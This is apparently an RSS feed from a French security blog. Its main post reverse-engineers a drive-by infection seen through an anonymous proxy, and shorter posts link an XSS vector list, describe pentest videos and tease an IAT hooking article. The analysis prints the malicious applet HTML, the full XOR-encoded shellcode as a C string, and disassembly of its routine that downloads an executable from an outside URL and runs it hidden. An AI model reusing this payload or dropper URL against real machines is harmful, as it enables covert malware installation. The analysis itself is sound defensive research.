<div class="wp-caption aligncenter" style="width: 672px"><img class=" " title="Remplacement du hash par l'adresse réelle" src="http://attackvector.free.fr/homeo/proxyinfection/images/StoreAddressFromExport.jpeg" alt="" width="662" height="564" /><p class="wp-caption-text">Remplacement du hash par l&#39;adresse réelle</p></div>
<p style="text-align: left;">
<p style="text-align: justify;">Après décodage des hashs, voici les fonctions récupéres et la valeur hashée de la fonction correspondante:</p>
<ul>
<li> LoadLibraryA -&gt; 0xec0e4e8e    [ESI]</li>
<li>WinExec -&gt; 0xe8afe98        [ESI+4]</li>
<li>ExitProcess -&gt; 0x73e2d87e    [ESI+8]</li>
<li>GetTempPathA -&gt; 0x5b8aca33    [ESI+10]</li>
</ul>
<p style="text-align: justify;">Ci-dessus, la routine permettant le calcul du hash d&#8217;APIs:</p>
<p style="text-align: justify;">
<div class="wp-caption aligncenter" style="width: 650px"><img class=" " title="Fonction de hashage" src="http://attackvector.free.fr/homeo/proxyinfection/images/calcule_hash.jpeg" alt="" width="640" height="140" /><p class="wp-caption-text">Fonction de hashage</p></div>
<p><span style="text-decoration: underline;">Remarque</span>: Avant d&#8217;appeler la fonction &#8220;CALL 004020F3&#8243; qui permet donc de retrouver l&#8217;adresse d&#8217;une fonction à partir de la table d&#8217;exportation et de son nom hashé, ECX est paramétré à la valeur 4. Il y a donc bien 4 adresses à trouver.</p>
<p>Ensuite, on retrouve les instructions suivantes:</p>
<pre>00402066   68 6F6E0000      PUSH 6E6F
0040206B   68 75726C6D      PUSH 6D6C7275
00402070   54               PUSH ESP
00402071   FF16             CALL DWORD PTR DS:[ESI]               ; kernel32.LoadLibraryA</pre>
<p style="text-align: left;">Avec comme chaîne passée &#8220;urlmon&#8221;.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">Une fois la DLL &#8220;urlmon.dll&#8221; chargée en mémoire, à nouveau une recherche de fonction via le nom hashé est effectué. L&#8217;API recherchée est la suivante:</p>
<ul>
<li> URLDownloadToFileA -&gt; 0x702f1a36    [ESI+C]</li>
</ul>
<p style="text-align: justify;">Oh, comme le hasard fait bien les choses! ;-)</p>
<p style="text-align: justify;">
<p style="text-align: justify;">Puis, 2 chaînes de caractères sont récupérées:</p>
<ul>
<li> JOvN</li>
<li> http://hitrove.com/june/50980</li>
</ul>
<p>Il s&#8217;ensuit l&#8217;appel à la fonction GetTempPathA():</p>
<pre>00402097   51               PUSH ECX    ; 0
00402098   52               PUSH EDX    ; JOvN
00402099   53               PUSH EBX    ; Adresse du chemin récupéré -&gt; 0x22fe4c
0040209A   68 04010000      PUSH 104    ; Taille de la chaine, soit 260 octets
0040209F   FF56 0C          CALL DWORD PTR DS:[ESI+C] ; kernel32.GetTempPathA</pre>
<p>D&#8217;après le code suivant, deux parties de chaînes sont comparées:</p>
<pre>004020AF   817B FC 2E657865 CMP DWORD PTR DS:[EBX-4],6578652E  ; .exe
004020B6   75 03            JNZ SHORT AnalyseV.004020BB
</pre>
<p>On copie ensuite les données suivantes à la valeur pointée par EBX:</p>
<pre>004020BB   8903             MOV DWORD PTR DS:[EBX],EAX        ; JOvN
004020BD   C743 04 2E657865 MOV DWORD PTR DS:[EBX+4],6578652E ;.exe
004020C4   C643 08 00       MOV BYTE PTR DS:[EBX+8],0
</pre>
<p style="text-align: justify;">Là, je commence à bien me douter que le malware téléchargé aura pour nom « JOvN.exe » et sera stocké dans le répertoire temporaire de la machine infectée.</p>
<p>Maintenant, tout est préparé pour faire appel à URLDownloadToFileA() :</p>
<pre>004020D2   50               PUSH EAX 	; 0
004020D3   50               PUSH EAX	; 0
004020D4   53               PUSH EBX	; Le path complet avec le nom du fichier où sera stocké le malware
004020D5   57               PUSH EDI	; l'URL où recherché le malware
004020D6   50               PUSH EAX	; 0
004020D7   FF56 10          CALL DWORD PTR DS:[ESI+10]</pre>
<p>Si le téléchargement du fichier a réussi, la prochaine étape est de l&#8217;exécuter avec WinExec():</p>
<pre>004020DF   6A 01            PUSH 1	; SW_HIDE
004020E1   53               PUSH EBX	; Chemin coplet de l'exécutable
004020E2   FF56 04          CALL DWORD PTR DS:[ESI+4]</pre>
<p>Evidemment le processus est lançé en mode &#8220;caché&#8221; comme propriété de fenêtre.<br />
Enfin pour terminer, on quitte le processus exécutant le shellcode avec un ExitProcess():</p>
<pre>004020F0   FF56 08          CALL DWORD PTR DS:[ESI+8]  ; kernel32.ExitProcess
</pre>
<p style="text-align: justify;">Toutefois il est à noter que durant mon investigation, la page contenant le malware en question n&#8217;existe plus, donc pas de risque de se faire infecter.</p>
<p style="text-align: justify;">Pour conclure, un des risques de l&#8217;utilisation d&#8217;un proxy anonyme tierce est ici mis en évidence. Évidemment, cela n&#8217;empêche pas d&#8217;être infecté tout simplement en naviguant sur une page WEB d&#8217;un site infecté.<br />
D&#8217;autre part, je trouvais aussi enrichissant de vous décortiquer un shellcode utilisant des techniques de camouflage comme l&#8217;utilisation du chiffrement XOR, l&#8217;emploi de hashs pour retrouver l&#8217;adresse des APIs utilisées, la fameuse récupération du PEB via le segment FS ainsi que le déroulement classique d&#8217;une infection.</p>
<p style="text-align: justify;">
<p style="text-align: justify;"><em><strong>Homeostasie (Nicolas.D)</strong></em></p>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow: hidden;"><!-- p { margin-bottom: 0.21cm; } --></p>
<p style="margin-bottom: 0cm;"><span style="font-size: x-small;">Au cours de ce topic, je vais vous présenter un cas de navigation dangereuse qu&#8217;un internaute a rencontré, via l&#8217;utilisation d&#8217;un proxy anonyme, il y a maintenant quelques temps. Peu importe, le principe reste le même, seul l&#8217;exploit change.</span></p>
<p style="margin-bottom: 0cm;"><span style="font-size: x-small;">Ainsi, je présenterais dans un premier temps, de quelle manière il est possible d&#8217;être infecté et j&#8217;effectuerais ensuite une analyse détaillée de la charge malveillante.</span></p>
<p style="margin-bottom: 0cm;">
<p style="margin-bottom: 0cm;"><span style="font-size: x-small;">Pour résumer le contexte, moi-même et l&#8217;internaute en question faisions une analyse conjointe d&#8217;URLs douteuses. A contrario de moi, il utilisait un proxy anonyme pour effectuer  son insvestigation et il se rendit compte qu&#8217;une requête réseau supplémentaire avait lieu vers une autre site alors que de mon côté ce n&#8217;était pas le cas.</span></p>
<p style="margin-bottom: 0cm;">
<p style="margin-bottom: 0cm;"><span style="font-size: x-small;">Je décidai donc de m&#8217;attaquer à cet aspect.</span></p>
<p style="margin-bottom: 0cm;">
<p style="margin-bottom: 0cm;"><span style="font-size: x-small;">Dans un premier temps, l&#8217;utilisation de ce proxy anonyme rajoutait une redirection vers l&#8217;URL suivante: <a href="http://x.y.w.z/tube/index2.html">http://</a><a href="http://95.168.185.196/tube/index2.html" target="_blank">95.168.185.196</a><a href="http://x.y.w.z/tube/index2.html">/tube/index2.html</a>&#8220;.</span></p>
<p style="margin-bottom: 0cm;"><span style="font-size: x-small;">Une fois redirigé sur ce lien, une requête GET était à nouveau fait vers l&#8217;adresse 84.16.249.97, qui a apparemment comme nom d&#8217;hôte &#8220;hithrove.com&#8221;. </span></p>
<p style="margin-bottom: 0cm;"><span style="font-size: x-small;">Ci-dessous la requête et la réponse:</span></p>
<p style="margin-bottom: 0cm;">
<p style="margin-bottom: 0cm;"><span style="font-size: x-small;">GET /june/news.php HTTP/1.1<br />
Host: hithrove.com<br />
Keep-Alive: 300<br />
Connection: keep-alive<br />
Referer: <a href="http://95.168.185.196/tube/index2.html" target="_blank">http://95.168.185.196/tube/index2.html</a></span></p>
<p>HTTP/1.1 200 OK<br />
Date: Sun, 28 Mar 2010 15:38:13 GMT<br />
Server: Apache/2.2.3 (CentOS)<br />
X-Powered-By: PHP/5.2.13<br />
Content-Length: 1230<br />
Connection: close<br />
Content-Type: text/html; charset=UTF-8</p>
<p>&lt;!&#8211; With comprehensive cover we could keep you moving with a courtesy car &#8211;&gt;<br />
&lt;applet width=&#8217;100%&#8217; height=&#8217;100%&#8217; code=&#8217;A.class&#8217; archive=&#8217;/june/A.php&#8217;&gt;<br />
&lt;!&#8211; The company has created an excellent website which incorporates all that is good about online business, offering an instant quote and the opportunity to arrange cover within minutes. &#8211;&gt;<br />
&lt;param name=&#8217;sc&#8217; value=&#8217;eb1f92969790975b9296929633c966b94e019097803 31492964392e2f79292eb05e8e1ffffff84848484848484848 484fc14141414ff14fde81414144b70b5241414146c189f541 89f6408b99f7c1cff1d9f54209954689f7c289fe37e104dfc9 b141414f6ed7c7b7a14147c6166787940eb029ffcfc6d14141 49fc353942b1461ee534353942b1461ee9ffb4b27dd95f8101 514149fc84546477c10151414eb42184e4d45469f164757942 f1461ee956fe83a716c71611797ff1c9d17d357103a716c71d 2571c144f9ed510249c511427d44444474344eb420497ec146 1127e1547eb42104e4d97d61055942e1461a0eb421c45429f6 1289f603a6c17e1429f623417e127dd5d55b917d127cf1baa0 42ec2601cd5df1917ce54ffe52f0b61f34a9f4a3017c9729f1 85f9f4a0817c99f109f17d1bf4a4dd7fcebeaebeb9a5a1af88 cea9e1a6accf66727de9e4f220e3b645e5b625a147c6060642 e3b3b7c7d607c667b62713a777b793b7e617a713b21242d2c2 4&#8242; /&gt;</p>
<p>&lt;!&#8211; Get a Quote and Save Online &#8211;&gt;<br />
&lt;param name=&#8217;np&#8217; value=&#8217;90909090&#8242; /&gt;<br />
&lt;/applet&gt;</p>
<p style="margin-bottom: 0cm;">
<p style="margin-bottom: 0cm;"><span style="font-size: x-small;">Oh, quesako, on dirait bien que le champ value, paramètre de l&#8217;applet, contient un shellcode au vu de cette suite d&#8217;octets.</span></p>
<p>Bien je crois que le chemin est tracé, lançons nous dans du reverse engineering pour comprendre l&#8217;objectif de ce shellcode.<br />
Tout d&#8217;abord, je le rends exploitable sous forme de chaîne de caractère en C pour pouvoir le débugger:</p>
<p style="margin-bottom: 0cm;">
<pre><span style="font-size: xx-small;">char shellcode[] =  "\xeb\x1f\x92\x96\x97\x90\x97\x5b\x92\x96\x92\x96\x33\xc9\x66\xb9\x4e\x01\x90\x97"</span>
<span style="font-size: xx-small;">"\x80\x33\x14\x92\x96\x43\x92\xe2\xf7\x92\x92\xeb\x05\xe8\xe1\xff\xff\xff\x84\x84"</span>
<span style="font-size: xx-small;">"\x84\x84\x84\x84\x84\x84\x84\x84\xfc\x14\x14\x14\x14\xff\x14\xfd\xe8\x14\x14\x14"</span>
<span style="font-size: xx-small;">"\x4b\x70\xb5\x24\x14\x14\x14\x6c\x18\x9f\x54\x18\x9f\x64\x08\xb9\x9f\x7c\x1c\xff"</span>
<span style="font-size: xx-small;">"\x1d\x9f\x54\x20\x99\x54\x68\x9f\x7c\x28\x9f\xe3\x7e\x10\x4d\xfc\x9b\x14\x14\x14"</span>
<span style="font-size: xx-small;">"\xf6\xed\x7c\x7b\x7a\x14\x14\x7c\x61\x66\x78\x79\x40\xeb\x02\x9f\xfc\xfc\x6d\x14"</span>
<span style="font-size: xx-small;">"\x14\x14\x9f\xc3\x53\x94\x2b\x14\x61\xee\x53\x43\x53\x94\x2b\x14\x61\xee\x9f\xfb"</span>
<span style="font-size: xx-small;">"\x4b\x27\xdd\x95\xf8\x10\x15\x14\x14\x9f\xc8\x45\x46\x47\x7c\x10\x15\x14\x14\xeb"</span>
<span style="font-size: xx-small;">"\x42\x18\x4e\x4d\x45\x46\x9f\x16\x47\x57\x94\x2f\x14\x61\xee\x95\x6f\xe8\x3a\x71"</span>
<span style="font-size: xx-small;">"\x6c\x71\x61\x17\x97\xff\x1c\x9d\x17\xd3\x57\x10\x3a\x71\x6c\x71\xd2\x57\x1c\x14"</span>
<span style="font-size: xx-small;">"\x4f\x9e\xd5\x10\x24\x9c\x51\x14\x27\xd4\x44\x44\x47\x43\x44\xeb\x42\x04\x97\xec"</span>
<span style="font-size: xx-small;">"\x14\x61\x12\x7e\x15\x47\xeb\x42\x10\x4e\x4d\x97\xd6\x10\x55\x94\x2e\x14\x61\xa0"</span>
<span style="font-size: xx-small;">"\xeb\x42\x1c\x45\x42\x9f\x61\x28\x9f\x60\x3a\x6c\x17\xe1\x42\x9f\x62\x34\x17\xe1"</span>
<span style="font-size: xx-small;">"\x27\xdd\x5d\x55\xb9\x17\xd1\x27\xcf\x1b\xaa\x04\x2e\xc2\x60\x1c\xd5\xdf\x19\x17"</span>
<span style="font-size: xx-small;">"\xce\x54\xff\xe5\x2f\x0b\x61\xf3\x4a\x9f\x4a\x30\x17\xc9\x72\x9f\x18\x5f\x9f\x4a"</span>
<span style="font-size: xx-small;">"\x08\x17\xc9\x9f\x10\x9f\x17\xd1\xbf\x4a\x4d\xd7\xfc\xeb\xea\xeb\xeb\x9a\x5a\x1a"</span>
<span style="font-size: xx-small;">"\xf8\x8c\xea\x9e\x1a\x6a\xcc\xf6\x67\x27\xde\x9e\x4f\x22\x0e\x3b\x64\x5e\x5b\x62"</span>
 <span style="font-size: xx-small;">"\x5a\x14\x7c\x60\x60\x64\x2e\x3b\x3b\x7c\x7d\x60\x7c\x66\x7b\x62\x71\x3a\x77\x7b"</span>
<span style="font-size: xx-small;">"\x79\x3b\x7e\x61\x7a\x71\x3b\x21\x24\x2d\x2c\x24";</span></pre>
<p style="margin-bottom: 0cm;"><span style="font-size: x-small;">Le code commence par un jump suivi directement d&#8217;un call. Ce call implique la sauvegarde du registre EIP sur la pile. Ainsi donc, un POP EBX est directement réalisé en début de cette fonction afin de récupérer l&#8217;adresse de retour. De cette manière, le shellcode récupère l&#8217;emplacement à partir duquel il sera censé déchiffrer le code.</span></p>
<p style="margin-bottom: 0cm;">
<p style="margin-bottom: 0cm;"><span style="font-size: x-small;">Plusieurs inversement de registres sucessifs avec XCHG sont réalisés, peut être pour bypasser des analyses ou pour « obfusquer » le code.</span></p>
<p style="margin-bottom: 0cm;"><span style="font-size: x-small;">Ensuite, on constate que le shellcode est chiffré grâce à un XOR avec la valeur 0&#215;14. Une boucle est donc réalisé pour le déchiffrer avant de l&#8217;exécuter.</span></p>
<p style="margin-bottom: 0cm;"><span style="font-size: x-small;">La taille de ce shellcode est contenu dans le registre ECX est à pour valeur 0x14E.</span></p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://thehackability.securithib.com/?feed=rss2&#038;p=878</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Cross site scripting Sheets cheat</title>
		<link>http://thehackability.securithib.com/?p=873</link>
		<comments>http://thehackability.securithib.com/?p=873#comments</comments>
		<pubDate>Fri, 15 Jul 2011 15:14:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Cheat-sheet]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[Projets - Projects]]></category>

		<guid isPermaLink="false">http://thehackability.securithib.com/?p=873</guid>
		<description><![CDATA[Voici un récapitulatifs des différents vecteurs d&#8217;execution javascript : Attackvector fuzzing code database http://thehackability.com/vectors/]]></description>
			<content:encoded><![CDATA[<p>Voici un récapitulatifs des différents vecteurs d&#8217;execution javascript :</p>
<h3>Attackvector fuzzing code database</h3>
<p><a href="http://thehackability.com/vectors/">http://thehackability.com/vectors/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://thehackability.securithib.com/?feed=rss2&#038;p=873</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pentest experiments 2008/2009/2010</title>
		<link>http://thehackability.securithib.com/?p=863</link>
		<comments>http://thehackability.securithib.com/?p=863#comments</comments>
		<pubDate>Fri, 15 Jul 2011 15:06:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Ethical hacking]]></category>
		<category><![CDATA[Pentest Experiments]]></category>

		<guid isPermaLink="false">http://thehackability.securithib.com/?p=863</guid>
		<description><![CDATA[Install JAR apps through MTP protocols Attention :  Ces videos sont des expériences de pentest, la musique ne correspondra pas forcément à vos goûts, vous pouvez réduire le son a l&#8217;aide de l&#8217;icone du haut parleur. Release date Mar 13, 2010 Runtime 03:44 An Howto install JAR application using the MTP (media transfer protocol). The [...]]]></description>
			<content:encoded><![CDATA[<h2>Install JAR apps through MTP protocols</h2>
<p style="text-align: justify;">Attention :  Ces videos sont des expériences de pentest, la musique ne correspondra pas forcément à vos goûts, vous pouvez réduire le son a l&#8217;aide de l&#8217;icone du haut parleur.</p>
<div id="_mcePaste"><strong>Release date</strong></div>
<div id="_mcePaste">Mar 13, 2010</div>
<div id="_mcePaste"><strong>Runtime</strong></div>
<div id="_mcePaste">03:44</div>
<p style="text-align: justify;">An Howto install JAR application using the MTP (media transfer protocol). The different library and program needed for this tutorial : mtp-tools mtpfs (MTP) gphotofs (PTP , PTP2,MTP) The debian repository is used on this tutorial. The Operating System used is Backtrack4. The MTP protocol library will be installed natively in the Ubuntu Lucid version. The device used is a nokia 6301 phone without sim card.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="500" height="297" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://blip.tv/play/AYHNgmcC" /><param name="wmode" value="transparent" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="500" height="297" src="http://blip.tv/play/AYHNgmcC" allowfullscreen="true" wmode="transparent"></embed></object></p>
<h2>DLL Redirection Tutorial</h2>
<p><strong>Release date</strong></p>
<p>Oct 24, 2009</p>
<p><strong>Runtime</strong></p>
<p>10:56</p>
<p style="text-align: justify;">Video of the Craig&#8217;s Heffner technique that consist in redirecting an IE dll to user32.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="500" height="398" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://blip.tv/play/AYGp5jEC" /><param name="wmode" value="transparent" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="500" height="398" src="http://blip.tv/play/AYGp5jEC" allowfullscreen="true" wmode="transparent"></embed></object></p>
<h2>Firefox 3.5.3 Reversing &#8211; Maxlenght Patch (unofficial) install</h2>
<p><strong>Release date</strong><br />
Oct 8, 2009<br />
<strong>Runtime</strong><br />
07:49</p>
<p style="text-align: justify;">Video of a special reversing technique , that consist in applying a patch in client side against the URL cache poisoning exploit, using XUL and free tools like backtrack, ark, kwrite,firebug.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="500" height="383" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://blip.tv/play/AYGl5SsC" /><param name="wmode" value="transparent" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="500" height="383" src="http://blip.tv/play/AYGl5SsC" allowfullscreen="true" wmode="transparent"></embed></object></p>
<h2>Google redirect maker by Xylitol</h2>
<p><strong>Release date</strong></p>
<p>Sep 23, 2009</p>
<p><strong>Runtime</strong></p>
<p>03:44</p>
<p style="text-align: justify;">Video concerning the exploitation of a google redirect vulnerability discovered by Xylitol.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="500" height="372" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://blip.tv/play/AYGinEQC" /><param name="wmode" value="transparent" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="500" height="372" src="http://blip.tv/play/AYGinEQC" allowfullscreen="true" wmode="transparent"></embed></object></p>
<h2>MITM Proxy &#8211; The hijacker 0.3 alpha update</h2>
<p><strong>Release date</strong></p>
<p>Aug 20, 2009</p>
<p><strong>Runtime</strong></p>
<p>03:33</p>
<p style="text-align: justify;">Video about the update of the tool called Thehijacker presented by me @ frhack conference. The tool is a MITM proxy, keylogger and sniffer(superglobals),  the update permit to add geolocalisation in the tool.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="500" height="373" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://blip.tv/play/AYGZ3kEC" /><param name="wmode" value="transparent" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="500" height="373" src="http://blip.tv/play/AYGZ3kEC" allowfullscreen="true" wmode="transparent"></embed></object></p>
<h2 style="font-size: 1.5em;">MITM Proxy &#8211; The hijacker 0.1 install</h2>
<p><strong>Release date</strong></p>
<p>Aug 19, 2009</p>
<p><strong>Runtime</strong></p>
<p>04:42</p>
<p style="text-align: justify;">Installation video of a mitm proxy hijacker , proof of concept presented @ frhack conference in 2009. Thehijacker is a tool written in php.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="500" height="373" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://blip.tv/play/AYGZrgwC" /><param name="wmode" value="transparent" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="500" height="373" src="http://blip.tv/play/AYGZrgwC" allowfullscreen="true" wmode="transparent"></embed></object></p>
<h2>IE/Firefox remote Denial Of Service</h2>
<p><strong>Release date</strong></p>
<p>Apr 19, 2009</p>
<p><strong>Runtime</strong></p>
<p>03:23</p>
<p style="text-align: justify;">Proof of concept video concerning the exploitation of  buffer overruns, using eval, and differents obfuscation techniques in various browsers.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="500" height="398" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://blip.tv/play/AfuyJwI" /><param name="wmode" value="transparent" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="500" height="398" src="http://blip.tv/play/AfuyJwI" allowfullscreen="true" wmode="transparent"></embed></object></p>
<h2>Netmeeting App ActiveX Remote command execution</h2>
<p><strong>Release date</strong><br />
Mar 11, 2009<br />
<strong> Runtime</strong><br />
05:36</p>
<p style="text-align: justify;">Another COMraider tutorial by T3sTM@N and p3Lo. Which explain that a launched program dll(COM server) can be intercepted on remote and manipulated.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="500" height="388" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://blip.tv/play/AfK7WgI" /><param name="wmode" value="transparent" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="500" height="388" src="http://blip.tv/play/AfK7WgI" allowfullscreen="true" wmode="transparent"></embed></object></p>
<h2>Comodo antivirus executestr remote code execution</h2>
<p><strong>Release date</strong><br />
Mar 11, 2009<br />
<strong> Runtime</strong><br />
08:08</p>
<p style="text-align: justify;">Video of  COM server dll &#8216;s fuzzing (COMraider) in comodo antivirus on a patched windows xp SP2.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="500" height="373" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://blip.tv/play/AfK0bAI" /><param name="wmode" value="transparent" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="500" height="373" src="http://blip.tv/play/AfK0bAI" allowfullscreen="true" wmode="transparent"></embed></object></p>
<h2>Facebook Redirect Exploit video</h2>
<p><strong>Release date</strong><br />
Dec 30, 2008<br />
<strong> Runtime</strong><br />
02:54</p>
<p style="text-align: justify;">A video that demonstrate how to exploit redirect vulnerability in real world(the vulnerability has been corrected) on facebook the attack is of the same type for xss, html injection and frame injection. This video is only for informational purpose. (just for security researchers)</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="500" height="373" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://blip.tv/play/AePMGAI" /><param name="wmode" value="transparent" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="500" height="373" src="http://blip.tv/play/AePMGAI" allowfullscreen="true" wmode="transparent"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://thehackability.securithib.com/?feed=rss2&#038;p=863</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Abusing Naive Compiler for IAT Hooking</title>
		<link>http://thehackability.securithib.com/?p=830</link>
		<comments>http://thehackability.securithib.com/?p=830#comments</comments>
		<pubDate>Sun, 03 Jul 2011 13:18:46 +0000</pubDate>
		<dc:creator>Homeostasie</dc:creator>
				<category><![CDATA[Ethical hacking]]></category>
		<category><![CDATA[Reversing , Cracking, Forensic]]></category>

		<guid isPermaLink="false">http://thehackability.securithib.com/?p=830</guid>
		<description><![CDATA[by Homeostasie (Nicolas.D) Avant de rentrer au cœur du sujet, j&#8217;ai initialement écrit cet article pour le ezine de la communauté de Zenk-Security. Malheureusement, celui-ci n&#8217;a pu être à ce jour concrétisé. De ce fait, en restant dans la logique du partage, j&#8217;ai accepté que cet article soit publié sur leur blog. Je ferais donc, [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><strong><em>by Homeostasie (Nicolas.D)</em></strong></p>
<p style="text-align: justify;">Avant de rentrer au cœur du sujet, j&#8217;ai initialement écrit cet article pour le ezine de la communauté de Zenk-Security. Malheureusement, celui-ci n&#8217;a pu être à ce jour concrétisé. De ce fait, en restant dans la logique du partage, j&#8217;ai accepté que cet article soit publié sur leur blog. Je ferais donc, dans ce post, une mise en bouche du sujet abordé, avant de vous fournir un lien vous menant vers le contenu et un autre vers une version pdf.<strong> </strong></p>
<p style="text-align: justify;"><strong>1. Introduction</strong></p>
<p style="text-align: justify;">A une époque lointaine et mystérieuse, lorsque je tâchais de comprendre le principe de l&#8217;IAT (Import Address Table), je me suis intéressé aux méthodes pour hooker, ou crocheter en terme bien français, certaines APIs. Il s&#8217;avérait que la méthode bien connue est de parser le fichier PE (Portable Executable) à la recherche de la section d&#8217;importation répertoriée dans le tableau DataDirectory. Cette section étant elle-même un tableau de structure IMAGE_DIRECTORY_ENTRY_IMPORT associée à chaque DLL importée.<br />
Cette méthode largement employée m&#8217;a semblé trop commune et j&#8217;ai cherché un moyen pour modifier une entrée de l&#8217;IAT sans avoir besoin de réaliser tout ce travail de parsing.</p>
<p style="text-align: justify;">La solution retenue, néanmoins non fonctionnelle sur tout les exécutables, est d&#8217;abuser d&#8217;un programme compilé par un compilateur dit naïf.</p>
<p style="text-align: justify;">Dans un premier temps, je vous expliquerais donc ce qu&#8217;on entend par compilateur &#8220;naïf&#8221; et moins &#8220;naïf&#8221;. Puis pour conjuguer la compréhension à l&#8217;utile, je fournirais un exemple de programme qui permet de modifier une entrée de l&#8217;IAT lorsqu&#8217;un binaire est compilé avec un compilateur dit &#8220;naïf&#8221;. Finalement, j&#8217;irais encore plus loin avec l&#8217;utilisation de cette méthode pour hooker une API sans avoir besoin de modifier l&#8217;entrée dans la table d&#8217;importation.</p>
<p style="text-align: justify;">
<p style="text-align: justify;"><strong>Table des matières</strong></p>
<p>1. Introduction<br />
2. Explication sur un compilateur dit « naïf »<br />
3. Explication sur compilateur moins « naïf »<br />
4. Hooker une entrée de l&#8217;IAT d&#8217;un compilateur naïf sans parser le PE<br />
5. Hooker une API sans modifier l&#8217;IAT pour un binaire généré avec un compilateur « naïf »<br />
6. Conclusion<br />
7. Références</p>
<p style="text-align: justify;">
<p style="text-align: justify;"><strong>Liens</strong></p>
<p style="text-align: justify;"><a href="http://blog.zenk-security.com/index.php/2011/07/02/iathooking/">La suite sur le blog de Zenk-Security</a></p>
<p style="text-align: justify;"><a href="http://attackvector.free.fr/homeo/iathooking/Abusing-Naive-Compiler-for-IAT-Hooking.pdf">&#8220;Abusing Naive Compiler for IAT Hooking&#8221; en version PDF</a></p>
<p style="text-align: justify;">
<p>Bonne lecture,<br />
<strong><em>Homeostasie (Nicolas.D)</em></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://thehackability.securithib.com/?feed=rss2&#038;p=830</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[En-US][tips-and-tricks] Real time Web Reversing Tricks &#8211; DownloadHelper</title>
		<link>http://thehackability.securithib.com/?p=819</link>
		<comments>http://thehackability.securithib.com/?p=819#comments</comments>
		<pubDate>Tue, 10 May 2011 04:47:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Trucs et astuces]]></category>

		<guid isPermaLink="false">http://thehackability.securithib.com/?p=819</guid>
		<description><![CDATA[author : thibaut.L The plugin Today ill talk about the downloadhelper firefox plugin, this useful plugin that permit to download / convert files on the fly directly from different streamed content and website. Add it to your firefox The tips This tips concern the possibilities of real time fast reversing differents files , this technique [...]]]></description>
			<content:encoded><![CDATA[<p><strong>author :</strong> thibaut.L</p>
<h2>The plugin</h2>
<p style="text-align: justify;">Today ill talk about the downloadhelper firefox plugin, this useful plugin that permit to download / convert  files on the fly directly from different streamed content and website.</p>
<p style="text-align: justify;"><a title="firefox plugin" href="https://addons.mozilla.org/fr/firefox/addon/video-downloadhelper/">Add it to your firefox </a></p>
<h2 style="text-align: justify;">The tips</h2>
<p style="text-align: justify;">This tips concern the possibilities of real time fast reversing differents files , this technique can be used to detect and download the filetypes directly  on a browsed server , by adding a filter we can for example show the javascript files used while you visit a webpage :</p>
<div class="wp-caption aligncenter" style="width: 261px"><img title="Click on the plugin icon" src="http://img827.imageshack.us/img827/9430/dlhelper.png" alt="Click on the plugin icon" width="251" height="271" /><p class="wp-caption-text">Right Click on the plugin icon -&gt; go to preferences</p></div>
<div class="wp-caption aligncenter" style="width: 465px"><img title="And add your custom filter" src="http://img195.imageshack.us/img195/6391/dlhelper1.png" alt="And add your custom filter" width="455" height="314" /><p class="wp-caption-text">And add your custom filter</p></div>
<p style="text-align: justify;">Once the settings configured you are ready for fast reversing filetypes.</p>
